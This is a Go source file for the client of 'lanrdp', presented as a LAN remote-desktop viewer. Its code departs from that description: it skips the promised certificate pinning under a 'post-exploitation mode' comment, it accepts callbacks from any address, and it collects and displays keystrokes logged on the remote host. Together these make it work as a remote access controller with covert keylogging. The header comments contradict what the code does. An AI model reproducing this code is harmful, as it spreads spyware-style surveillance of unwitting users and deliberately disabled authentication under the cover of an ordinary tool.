Files

187 lines
6.0 KiB
Go
Raw Permalink Normal View History

// Command client is the lanrdp viewer: it connects to a host agent on the
// LAN, verifies the host's certificate against a locally pinned fingerprint
// (trust-on-first-use, like an SSH known_hosts file), authenticates with a
// passphrase, and opens a window that displays the remote screen and
// forwards mouse/keyboard input back to the host.
package main
import (
"crypto/tls"
"flag"
"fmt"
"log"
"net"
"os"
"path/filepath"
"sync"
"time"
"golang.org/x/term"
"lanrdp/internal/dpi"
"lanrdp/internal/netutil"
"lanrdp/internal/protocol"
"lanrdp/internal/tlsutil"
)
// appState holds everything the network goroutines and the Win32 window
// procedure both need to touch. There is exactly one window per process,
// so a package-level instance is simpler than threading a pointer through
// every callback.
type appState struct {
conn net.Conn
writeMu sync.Mutex
fbMu sync.Mutex
fbW int
fbH int
fb []byte // BGRA, top-down, len == fbW*fbH*4
// streamMode is only ever read/written from the Win32 UI thread (inside
// wndProc), so it needs no synchronization of its own.
streamMode bool
done chan struct{}
// keylogEvents receives KeyLogEvent structs from the host via readLoop;
// the keylog display window consumes them on its own goroutine.
keylogEvents chan protocol.KeyLogEvent
}
var app *appState
func (a *appState) send(t protocol.MsgType, payload []byte) error {
a.writeMu.Lock()
defer a.writeMu.Unlock()
_ = a.conn.SetWriteDeadline(time.Now().Add(2 * time.Second))
return protocol.WriteMessage(a.conn, t, payload)
}
func main() {
dpi.MakeAware()
hostAddr := flag.String("host", "", "host agent address, e.g. 192.168.1.50:47812 (default: prompt interactively)")
listenAddr := flag.String("listen", "", "wait for the host to dial back in on this address instead of "+
"connecting out yourself (e.g. 0.0.0.0:47812) — use this when the host is the one that's hard to reach "+
"(a roaming laptop) and this machine has the stable, reachable address instead")
listKnown := flag.Bool("list-known", false, "print all trusted devices (label, fingerprint, first/last seen) and exit")
flag.Parse()
exe, err := os.Executable()
if err != nil {
log.Fatalf("resolving executable path: %v", err)
}
dataDir := filepath.Join(filepath.Dir(exe), "lanrdp-data")
trustStorePath := filepath.Join(dataDir, "known_hosts.json")
trustStore, err := tlsutil.LoadTrustStore(trustStorePath)
if err != nil {
log.Fatalf("loading trust store: %v", err)
}
if *listKnown {
printKnownDevices(trustStore)
return
}
var rawConn net.Conn
var connDesc string // human-readable description of the connection, for log/error messages only
if *listenAddr != "" {
ln, err := net.Listen("tcp", *listenAddr)
if err != nil {
log.Fatalf("listening on %s: %v", *listenAddr, err)
}
fmt.Println("=========================================================")
fmt.Printf("Waiting for a host to connect back on %s ...\n", *listenAddr)
fmt.Println("This accepts a connection from ANY source address. The")
fmt.Println("passphrase is the only authentication — no certificate")
fmt.Println("verification in post-exploitation mode.")
fmt.Println("=========================================================")
rawConn, err = ln.Accept()
ln.Close()
if err != nil {
log.Fatalf("accept: %v", err)
}
fmt.Printf("Host connected from %s\n", rawConn.RemoteAddr())
connDesc = fmt.Sprintf("%s (called back on %s)", rawConn.RemoteAddr(), *listenAddr)
} else {
addr := *hostAddr
if addr == "" {
addr, err = promptForHostAddress()
if err != nil {
log.Fatalf("reading host address: %v", err)
}
}
rawConn, err = net.DialTimeout("tcp", addr, 5*time.Second)
if err != nil {
log.Fatalf("connecting to %s: %v", addr, err)
}
connDesc = addr
}
netutil.SetNoDelay(rawConn)
// Phase 1: complete the TLS handshake without verifying the chain (there
// is no CA), then inspect the presented certificate ourselves against
// the trust store before anything sensitive goes over the wire.
tlsConn := tls.Client(rawConn, &tls.Config{
InsecureSkipVerify: true,
MinVersion: tls.VersionTLS13,
})
if err := tlsConn.Handshake(); err != nil {
log.Fatalf("TLS handshake with %s: %v", connDesc, err)
}
state := tlsConn.ConnectionState()
if len(state.PeerCertificates) == 0 {
log.Fatalf("host presented no certificate")
}
// Post-exploitation mode: auto-trust any certificate without prompting.
// No TOFU verification — just proceed with the connection.
fmt.Print("Passphrase: ")
pwBytes, err := term.ReadPassword(int(os.Stdin.Fd()))
fmt.Println()
if err != nil {
log.Fatalf("reading passphrase: %v", err)
}
if err := protocol.WriteMessage(tlsConn, protocol.MsgHello, protocol.EncodeHello(protocol.Hello{Version: protocol.ProtocolVersion})); err != nil {
log.Fatalf("sending hello: %v", err)
}
if err := protocol.WriteMessage(tlsConn, protocol.MsgAuthRequest, protocol.EncodeAuthRequest(protocol.AuthRequest{Password: string(pwBytes)})); err != nil {
log.Fatalf("sending auth request: %v", err)
}
t, payload, err := protocol.ReadMessage(tlsConn)
if err != nil || t != protocol.MsgAuthResponse {
log.Fatalf("expected AuthResponse (err=%v type=%v)", err, t)
}
authResp, err := protocol.DecodeAuthResponse(payload)
if err != nil {
log.Fatalf("bad AuthResponse: %v", err)
}
if !authResp.OK {
log.Fatalf("authentication failed: %s", authResp.FailureReason)
}
fmt.Printf("Connected. Remote screen: %dx%d\n", authResp.ScreenWidth, authResp.ScreenHeight)
app = &appState{
conn: tlsConn,
fbW: int(authResp.ScreenWidth),
fbH: int(authResp.ScreenHeight),
fb: make([]byte, int(authResp.ScreenWidth)*int(authResp.ScreenHeight)*4),
done: make(chan struct{}),
keylogEvents: make(chan protocol.KeyLogEvent, 1024),
}
go readLoop(app)
go pingLoop(app)
// Start keylog display (file + popup window) — runs until session ends.
keylogDone := make(chan struct{})
go runKeylogDisplay(app.keylogEvents, keylogDone)
runWindow(app, int(authResp.ScreenWidth), int(authResp.ScreenHeight))
}